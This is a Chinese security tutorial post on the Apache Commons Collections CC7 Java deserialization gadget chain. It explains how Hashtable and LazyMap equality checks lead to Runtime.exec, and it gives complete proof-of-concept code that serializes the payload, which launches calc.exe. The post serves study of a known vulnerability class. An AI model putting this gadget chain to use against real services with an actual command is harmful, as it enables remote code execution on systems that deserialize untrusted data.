前言
1.环境安装
反序列化学习之路-Apache Commons Collections（CC1）
和前言中我们说的一样， CC7是后半条链不变，但是中间通过AbstractMap.equals()触发LazyMap.get()方法
我们先寻找到AbstractMap.equals()
Hashtable.reaObjectHashtable.reconstitutionPutAbstractMapDecorator.equalsAbstractMap.equalsLazyMap.get
首先先把后半条链LazyMap.get写出来
public class test {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[] {String.class},new Object[] {"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[] {String.class,Class[].class},new Object[] {"getRuntime",new Class[0]}),new InvokerTransformer("invoke",new Class[] {Object.class, Object[].class },new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] {String.class},new String[]{"C:\windows\system32\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map map = new HashMap();Map Lazy = LazyMap.decorate(map,chainedTransformer);#Lazy.get(Runtime.getRuntime());}
在这里需要注意一下，如果两个hashmap相同的话会直接在hashtable put的时候认为是一个元素，之后就不会在反序列化的时候触发equals代码
所以这一部分的代码为
Map map = new HashMap();Map map2 = new HashMap();Map Lazy = LazyMap.decorate(map, chainedTransformer);Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);Lazy.put("yy",1);Lazy2.put("zZ",1);Hashtable hashtable = new Hashtable();hashtable.put(Lazy,1);hashtable.put(Lazy2,2);
在最后我们还需要把Lazy2中去掉yy，因为在HashTable.put中也会调用到equals，当调用完equals()方法后，LazyMap2的key中就会增加一个yy键
package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class CC7 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Class.class),new InvokerTransformer("forName",new Class[]{String.class},new Object[]{"java.lang.Runtime"}),new InvokerTransformer("getMethod",new Class[]{String.class, Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec",new Class[]{String.class},new String[]{"C:\windows\system32\calc.exe"})};ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[] {});Map map = new HashMap();Map map2 = new HashMap();Map Lazy = LazyMap.decorate(map, chainedTransformer);Map Lazy2 = LazyMap.decorate(map2, chainedTransformer);Lazy.put("yy",1);Lazy2.put("zZ",1);Hashtable hashtable = new Hashtable();hashtable.put(Lazy,1);hashtable.put(Lazy2,2);Class c = ChainedTransformer.class;Field field = c.getDeclaredField("iTransformers");field.setAccessible(true);field.set(chainedTransformer, transformers);Lazy2.remove("yy");serializable(hashtable);// unserializable();}private static Object unserializable() throws Exception, IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}private static void serializable(Object o) throws IOException, ClassNotFoundException{FileOutputStream fos = new FileOutputStream("obj");ObjectOutputStream os = new ObjectOutputStream(fos);os.writeObject(o);os.close();}}
package org.example;import java.lang.annotation.Annotation;import com.oracle.jrockit.jfr.ValueDefinition;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class CC {public static void main(String[] args) throws Exception {//命令执行代码unserializable();}private static Object unserializable() throws Exception,IOException, ClassNotFoundException{FileInputStream fis = new FileInputStream("obj");ObjectInputStream ois = new ObjectInputStream(fis);Object o = ois.readObject();return o;}}
Hashtable.readObjectHashtable.reconstitutionPutAbstractMapDecorator.equalsAbstractMap.equalsLazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()
原文始发于微信公众号（呼啦啦安全）：反序列化学习之路-CC7
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论